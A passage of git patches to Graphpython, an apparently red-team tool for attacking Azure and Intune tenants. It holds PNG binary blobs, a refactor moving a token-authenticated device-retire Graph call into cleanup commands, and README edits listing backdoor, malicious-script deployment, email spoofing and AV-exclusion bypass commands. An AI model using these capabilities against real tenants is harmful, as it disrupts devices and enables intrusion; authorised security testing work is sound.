zZoqHwYH}oRMIdJHn+Vf)MsP1)_!*7~P|cV_xqiW}QqT7na}%d@B4-oUhq5CiNr*09 zDCD7i(%x)8|7s<&HmUTc*HnubV($3&Izr-pmCBT;@Vkyj+fe!q3NBM4LOOb<=(7HE zo@MWrVZX6$o*11UY}plpy15M{{}OQi&i?>#{23GBJ;u^^lUln;KU8TJr|c9o z*%f!6o)`1S4h(_TJ5GVA(KyIqfhv(wLBbXPC;P;Q$_880QOxyw{S^Cp zo^REaYnFsxA0yjzy<3##Rg3LJMh&WSaZI6>QE%@HOO+N|`O%Z&uWxI~epdyH^}hSN zz;0%ug~&mETd4E)??Trc4{ z)v8g~cW!F4a}!ec$au`<_uM9N+|o8~eW=3e!dZ@sb4{#T5;&9#2;;$whqOOU(A;}J e^;d8^%R6Mw!WCuyF_p1*{O9ZDKj94T#Qg_TzZi!A literal 0 HcmV?d00001 diff --git a/.github/webapplink-salesportal.png b/.github/webapplink-salesportal.png new file mode 100644 index 0000000000000000000000000000000000000000..d9a111509222426942eb60133c16d5889598d256 GIT binary patch literal 10343 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 literal 0 HcmV?d00001 From a9abd533401fa43ec1112222e7517a586863b06c Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Wed, 24 Jul 2024 14:45:08 +0100 Subject: [PATCH 23/37] Update v1.0 --- Graphpython/__main__.py | 5 ++--- Graphpython/commands/cleanup.py | 30 ++++++++++++++++++++++++++ Graphpython/commands/intune_exploit.py | 24 --------------------- Graphpython/utils/helpers.py | 2 +- 4 files changed, 33 insertions(+), 28 deletions(-) diff --git a/Graphpython/__main__.py b/Graphpython/__main__.py index d063ea7..fcbd67b 100644 --- a/Graphpython/__main__.py +++ b/Graphpython/__main__.py @@ -196,13 +196,12 @@ def main(): "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", "add-exclusiongrouptopolicy", "deploy-maliciousscript", "deploy-maliciousweblink", "backdoor-script", - "update-deviceconfig", "reboot-device", "retire-device", "lock-device", - "shutdown-device"]: + "update-deviceconfig", "reboot-device", "lock-device", "shutdown-device"]: getattr(intune_exploit, args.command.replace("-", "_"))(args) # Cleanup commands elif args.command in ["delete-user", "delete-group", "remove-groupmember", "delete-application", - "delete-device", "wipe-device"]: + "delete-device", "wipe-device", "retire-device"]: getattr(cleanup, args.command.replace("-", "_"))(args) # Locator commands diff --git a/Graphpython/commands/cleanup.py b/Graphpython/commands/cleanup.py index ea78391..8e51460 100644 --- a/Graphpython/commands/cleanup.py +++ b/Graphpython/commands/cleanup.py @@ -5,6 +5,7 @@ # Cleanup # ########### +# delete-user def delete_user(args): if not args.id: print_red("[-] Error: --id argument is required for Delete-User command") @@ -27,6 +28,7 @@ def delete_user(args): print_red(response.text) print("=" * 80) +# delete-group def delete_group(args): if not args.id: print_red("[-] Error: --id argument is required for Delete-Group command") @@ -49,6 +51,7 @@ def delete_group(args): print_red(response.text) print("=" * 80) +# remove-groupmember def remove_groupmember(args): if not args.id: print_red("[-] Error: --id groupid,objectid required for Remove-GroupMember command") @@ -77,6 +80,7 @@ def remove_groupmember(args): print_red(response.text) print("=" * 80) +# delete-application def delete_application(args): if not args.id: print_red("[-] Error: --id argument is required for Delete-Application command") @@ -99,6 +103,7 @@ def delete_application(args): print_red(response.text) print("=" * 80) +# delete-device def delete_device(args): if not args.id: print_red("[-] Error: --id argument is required for Delete-Device command") @@ -121,6 +126,7 @@ def delete_device(args): print_red(response.text) print("=" * 80) +# wipe-device def wipe_device(args): if not args.id: print_red("[-] Error: --id argument is required for Wipe-Device command") @@ -149,4 +155,28 @@ def wipe_device(args): else: print_red(f"[-] Failed to initiate device wipe: {response.status_code}") print_red(response.text) + print("=" * 80) + +# retire-device +def retire_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Retire-Device command") + return + + print_yellow("[*] Retire-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/retire" + user_agent = get_user_agent(args) + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device retire initiated successfully") + else: + print_red(f"[-] Failed to initiate device retire: {response.status_code}") + print_red(response.text) print("=" * 80) \ No newline at end of file diff --git a/Graphpython/commands/intune_exploit.py b/Graphpython/commands/intune_exploit.py index d2d71f2..401d810 100644 --- a/Graphpython/commands/intune_exploit.py +++ b/Graphpython/commands/intune_exploit.py @@ -1972,30 +1972,6 @@ def reboot_device(args): print_red(response.text) print("=" * 80) -# retire-device -def retire_device(args): - if not args.id: - print_red("[-] Error: --id argument is required for Retire-Device command") - return - - print_yellow("[*] Retire-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/retire" - user_agent = get_user_agent(args) - - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device retire initiated successfully") - else: - print_red(f"[-] Failed to initiate device retire: {response.status_code}") - print_red(response.text) - print("=" * 80) - # lock-device def lock_device(args): if not args.id: diff --git a/Graphpython/utils/helpers.py b/Graphpython/utils/helpers.py index 3449a68..95ffe8c 100644 --- a/Graphpython/utils/helpers.py +++ b/Graphpython/utils/helpers.py @@ -161,7 +161,6 @@ def list_commands(): ["Display-UserGroupAccountProtectionPolicyRules", "Display user group account protection policy rules"], ["Add-ExclusionGroupToPolicy", "Bypass av, asr, etc. rules by adding an exclusion group containing compromised user or device"], ["Reboot-Device", "Reboot managed device"], - ["Retire-Device", "Retire managed device"], ["Lock-Device", "Lock managed device"], ["Shutdown-Device", "Shutdown managed device"], ["Update-DeviceConfig", "Update properties of the managed device configuration"] @@ -174,6 +173,7 @@ def list_commands(): ["Delete-Application", "Delete an application"], ["Delete-Device", "Delete managed device"], ["Wipe-Device", "Wipe managed device"], + ["Retire-Device", "Retire managed device"] ] locator_commands = [ From 8fcb70053be4eb9a7a31b9801af1d07dab5e497b Mon Sep 17 00:00:00 2001 From: mc <47215311+mlcsec@users.noreply.github.com> Date: Wed, 24 Jul 2024 14:47:33 +0100 Subject: [PATCH 24/37] Update README.md --- README.md | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 338fade..5680841 100644 --- a/README.md +++ b/README.md @@ -172,6 +172,7 @@ Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki) for more - Get-ScriptContent - Backdoor-Script - Deploy-MaliciousScript +- Deploy-MaliciousWebLink - Display-AVPolicyRules - Display-ASRPolicyRules - Display-DiskEncryptionPolicyRules @@ -182,7 +183,6 @@ Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki) for more - Display-UserGroupAccountProtectionPolicyRules - Add-ExclusionGroupToPolicy - Reboot-Device -- Retire-Device - Lock-Device - Shutdown-Device - Update-DeviceConfig @@ -195,6 +195,7 @@ Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki) for more - Delete-Application - Delete-Device - Wipe-Device +- Retire-Device ### Locators @@ -212,13 +213,17 @@ The following demos can be found on the [Wiki](https://github.com/mlcsec/Graphpy - [Invoke-UserEnumerationAsOutsider](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-userenumerationasoutsider) - [Authentication](https://github.com/mlcsec/Graphpython/wiki/Demos#authentication) - [Get-GraphTokens](https://github.com/mlcsec/Graphpython/wiki/Demos#get-graphtokens) + - [Get-TenantID](https://github.com/mlcsec/Graphpython/wiki/Demos#get-tenantid) - [Invoke-RefreshToAzureManagementToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-refreshtoazuremanagementtoken) - - [Invoke-RefreshToMSGraphToken]((https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-refreshtomsgraphtoken)) + - [Invoke-RefreshToMSGraphToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-refreshtomsgraphtoken) - [Invoke-CertToAccessToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-certtoaccesstoken) - [Invoke-ESTSCookieToAccessToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-estscookietoaccesstoken) - [Post-Auth Enumeration](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-enumeration) + - [Get-CurrentUser](https://github.com/mlcsec/Graphpython/wiki/Demos#get-currentuser) - [Get-User](https://github.com/mlcsec/Graphpython/wiki/Demos#get-user) + - [Get-Group](https://github.com/mlcsec/Graphpython/wiki/Demos#get-group) - [Get-UserPrivileges](https://github.com/mlcsec/Graphpython/wiki/Demos#get-userprivileges) + - [Get-Domains](https://github.com/mlcsec/Graphpython/wiki/Demos#get-domains) - [Get-Application](https://github.com/mlcsec/Graphpython/wiki/Demos#get-application) - [List-RecentOneDriveFiles](https://github.com/mlcsec/Graphpython/wiki/Demos#list-recentonedrivefiles) - [Post-Auth Exploitation](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-exploitation) @@ -226,6 +231,7 @@ The following demos can be found on the [Wiki](https://github.com/mlcsec/Graphpy - [Find-PrivilegedRoleUsers](https://github.com/mlcsec/Graphpython/wiki/Demos#find-privilegedroleusers) - [Assign-PrivilegedRole](https://github.com/mlcsec/Graphpython/wiki/Demos#assign-privilegedrole) - [Find-PrivilegedApplications](https://github.com/mlcsec/Graphpython/wiki/Demos#find-privilegedapplications) + - [Add-ApplicationCertificate](https://github.com/mlcsec/Graphpython/wiki/Demos#add-applicationcertificate) - [Add-ApplicationPermission](https://github.com/mlcsec/Graphpython/wiki/Demos#add-applicationpermission) - [Spoof-OWAEmailMessage](https://github.com/mlcsec/Graphpython/wiki/Demos#spoof-owaemailmessage) - [Find-DynamicGroups](https://github.com/mlcsec/Graphpython/wiki/Demos#find-dynamicgroups) @@ -234,12 +240,14 @@ The following demos can be found on the [Wiki](https://github.com/mlcsec/Graphpy - [Post-Auth Intune Enumeration](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-intune-enumeration) - [Get-ManagedDevices](https://github.com/mlcsec/Graphpython/wiki/Demos#get-manageddevices) - [Get-UserDevices](https://github.com/mlcsec/Graphpython/wiki/Demos#get-userdevices) + - [Get-DeviceCompliancePolicies](https://github.com/mlcsec/Graphpython/wiki/Demos#get-devicecompliancepolicies) - [Get-DeviceConfigurationPolicies](https://github.com/mlcsec/Graphpython/wiki/Demos#get-deviceconfigurationpolicies) - [Post-Auth Intune Exploitation](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-intune-exploitation) - [Display-AVPolicyRules](https://github.com/mlcsec/Graphpython/wiki/Demos#display-avpolicyrules) - [Get-ScriptContent](https://github.com/mlcsec/Graphpython/wiki/Demos#get-scriptcontent) - [Backdoor-Script](https://github.com/mlcsec/Graphpython/wiki/Demos#backdoor-script) - [Deploy-MaliciousScript](https://github.com/mlcsec/Graphpython/wiki/Demos#deploy-maliciousscript) + - [Deploy-MaliciousWebLink](https://github.com/mlcsec/Graphpython/wiki/Demos#deploy-maliciousweblink) - [Add-ExclusionGroupToPolicy](https://github.com/mlcsec/Graphpython/wiki/Demos#add-exclusiongrouptopolicy) - [Cleanup](https://github.com/mlcsec/Graphpython/wiki/Demos#cleanup) - [Remove-GroupMember](https://github.com/mlcsec/Graphpython/wiki/Demos#remove-groupmember) @@ -263,8 +271,9 @@ The following demos can be found on the [Wiki](https://github.com/mlcsec/Graphpy ## Todo - Update: - - [ ] `Get-UserPrivileges` - update to flag any privileged directory role app ids - - [ ] `Locate-DirectoryRoleID` - similar to other locator functions but for resolving directory role ids + - [ ] `Get-UserPrivileges` - update to flag any privileged directory role app ids green + - [ ] `Locate-DirectoryRoleID` - similar to other locator functions but for resolving directory role ids + - [ ] `Deploy-MaliciousWebLink` - add option to deploy script which copies link new link to all user desktops - New: - [ ] `Deploy-MaliciousWin32Exe/MSI` - use IntuneWinAppUtil.exe to package the EXE/MSI and deploy to devices - check also [here](https://learn.microsoft.com/en-us/graph/api/resources/intune-app-conceptual?view=graph-rest-1.0) for managing iOS, Android, LOB apps etc. via graph From 34866c40e957476cb7b04f6de510aedcc6058e8c Mon Sep 17 00:00:00 2001 From: mc <47215311+mlcsec@users.noreply.github.com> Date: Wed, 24 Jul 2024 14:50:07 +0100 Subject: [PATCH 25/37] Update v1.0 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5680841..281167d 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ python3 Graphpython.py -h ## Commands -Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki) for more details on the available functionality: +Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki/Commands) for more details on the available functionality: ### Outsider From 09d73b8f743a04d402df492315a7ecec12513fce Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Wed, 24 Jul 2024 18:52:37 +0100 Subject: [PATCH 26/37] Update v1.0 --- .github/webapplink-desktop.png | Bin 0 -> 77921 bytes .github/webapplink-dir.png | Bin 0 -> 103502 bytes .github/webapplink-start.png | Bin 0 -> 83337 bytes 3 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 .github/webapplink-desktop.png create mode 100644 .github/webapplink-dir.png create mode 100644 .github/webapplink-start.png diff --git a/.github/webapplink-desktop.png b/.github/webapplink-desktop.png new file mode 100644 index 0000000000000000000000000000000000000000..29024f03e188d5b96ced755d3b9c0996be29e0ef GIT binary patch literal 77921 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 